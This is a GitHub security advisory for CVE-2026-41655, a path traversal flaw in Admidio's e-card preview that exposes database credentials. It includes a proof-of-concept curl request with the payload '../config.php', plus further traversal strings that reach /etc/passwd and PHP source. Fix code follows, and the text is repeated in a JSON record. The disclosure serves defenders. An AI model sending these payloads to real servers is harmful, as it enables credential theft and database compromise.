GHSA-M3VP-3JJM-GPMX
Vulnerability from github – Published: 2026-04-29 21:37 – Updated: 2026-05-08 19:55Summary
The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.
Details
Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.
Code Path:
-
modules/photos/ecards.php:143-152— The form creates a select box with template filenames fromadm_my_files/ecard_templates/. The form object is stored in the session. -
modules/photos/ecard_preview.php:33-34— The POST request is validated against the stored form object:
$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);
-
src/UI/Presenter/FormPresenter.php:2190-2243— Thevalidate()method appliesStringUtils::strStripTags()to all values and performs type-specific checks forcaptcha,date,editor,email,number,url, anduuid— but has no validation case for select box values. The attacker-controlled value../config.phppasses through unchanged. -
modules/photos/ecard_preview.php:48— The unvalidated value is passed directly togetEcardTemplate():
$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);
src/Photos/ValueObject/ECard.php:67-77— The filename is concatenated into the path and opened:
public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
if ($tplFolder === '') {
$tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
}
// ...
$fileHandle = @fopen($tplFolder . $tplFilename, 'rb');
With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php → ADMIDIO_PATH/adm_my_files/config.php.
Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:
$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));
This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.
PoC
# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML
# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
-X POST 'https://target/modules/photos/ecard_preview.php' \
-d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'
# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
# $g_adm_srv (database host)
# $g_adm_db (database name)
# $g_adm_usr (database username)
# $g_adm_pw (database password)
# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php (reads PHP source)
# ecard_template=../../../../../etc/passwd (reads system files)
Impact
- Database credential disclosure: Any authenticated user can read
adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise. - Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
- System file disclosure: With sufficient traversal depth (
../../../../../etc/passwd), system files can be read, aiding further attacks. - Low barrier to exploit: Only requires a regular member account — no admin privileges needed.
Recommended Fix
Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:
// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
$formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);
Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:
// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
}
break;
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.8"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41655"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T21:37:23Z",
"nvd_published_at": "2026-05-07T04:16:28Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials.\n\n## Details\n\n**Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely.\n\n**Code Path:**\n\n1. `modules/photos/ecards.php:143-152` \u2014 The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session.\n\n2. `modules/photos/ecard_preview.php:33-34` \u2014 The POST request is validated against the stored form object:\n```php\n$categoryEditForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n$formValues = $categoryEditForm-\u003evalidate($_POST);\n```\n\n3. `src/UI/Presenter/FormPresenter.php:2190-2243` \u2014 The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` \u2014 but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged.\n\n4. `modules/photos/ecard_preview.php:48` \u2014 The unvalidated value is passed directly to `getEcardTemplate()`:\n```php\n$ecardDataToParse = $funcClass-\u003egetEcardTemplate($formValues[\u0027ecard_template\u0027]);\n```\n\n5. `src/Photos/ValueObject/ECard.php:67-77` \u2014 The filename is concatenated into the path and opened:\n```php\npublic function getEcardTemplate(string $tplFilename, string $tplFolder = \u0027\u0027): ?string\n{\n if ($tplFolder === \u0027\u0027) {\n $tplFolder = ADMIDIO_PATH . FOLDER_DATA . \u0027/ecard_templates/\u0027;\n }\n // ...\n $fileHandle = @fopen($tplFolder . $tplFilename, \u0027rb\u0027);\n```\n\nWith `$tplFilename = \u0027../config.php\u0027`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` \u2192 `ADMIDIO_PATH/adm_my_files/config.php`.\n\n**Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name:\n```php\n$postTemplateName = admFuncVariableIsValid($_POST, \u0027ecard_template\u0027, \u0027file\u0027, array(\u0027requireValue\u0027 =\u003e true));\n```\nThis calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check.\n\n## PoC\n\n```bash\n# Step 1: Log in and visit the ecard form to create a session with a form object\n# Navigate to: /modules/photos/ecards.php?photo_uuid=\u003cvalid_album_uuid\u003e\u0026photo_nr=1\n# Extract the adm_csrf_token from the rendered form HTML\n\n# Step 2: Send path traversal payload to read config.php (contains DB credentials)\ncurl -b \u0027PHPSESSID=\u003csession_cookie\u003e\u0027 \\\n -X POST \u0027https://target/modules/photos/ecard_preview.php\u0027 \\\n -d \u0027adm_csrf_token=\u003ccsrf_token\u003e\u0026ecard_template=../config.php\u0026ecard_message=test\u0026photo_uuid=\u003cvalid_uuid\u003e\u0026photo_nr=1\u0026submit_action=preview\u0027\n\n# The response body will contain the contents of adm_my_files/config.php\n# rendered inside the ecard preview HTML, including:\n# $g_adm_srv (database host)\n# $g_adm_db (database name)\n# $g_adm_usr (database username)\n# $g_adm_pw (database password)\n\n# To traverse further outside adm_my_files:\n# ecard_template=../../system/bootstrap/constants.php (reads PHP source)\n# ecard_template=../../../../../etc/passwd (reads system files)\n```\n\n## Impact\n\n- **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.\n- **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.\n- **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks.\n- **Low barrier to exploit:** Only requires a regular member account \u2014 no admin privileges needed.\n\n## Recommended Fix\n\nAdd filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`:\n\n```php\n// In modules/photos/ecard_preview.php, add BEFORE line 48:\n$postTemplateName = admFuncVariableIsValid(\n $formValues, \u0027ecard_template\u0027, \u0027file\u0027, array(\u0027requireValue\u0027 =\u003e true)\n);\n$ecardDataToParse = $funcClass-\u003egetEcardTemplate($postTemplateName);\n```\n\nAlternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:\n\n```php\n// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():\ncase \u0027select\u0027:\n if (isset($element[\u0027values\u0027]) \u0026\u0026 !array_key_exists($fieldValues[$element[\u0027id\u0027]], $element[\u0027values\u0027])) {\n throw new Exception(\u0027SYS_FIELD_INVALID_INPUT\u0027, array($element[\u0027label\u0027]));\n }\n break;\n```",
"id": "GHSA-m3vp-3jjm-gpmx",
"modified": "2026-05-08T19:55:32Z",
"published": "2026-04-29T21:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41655"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.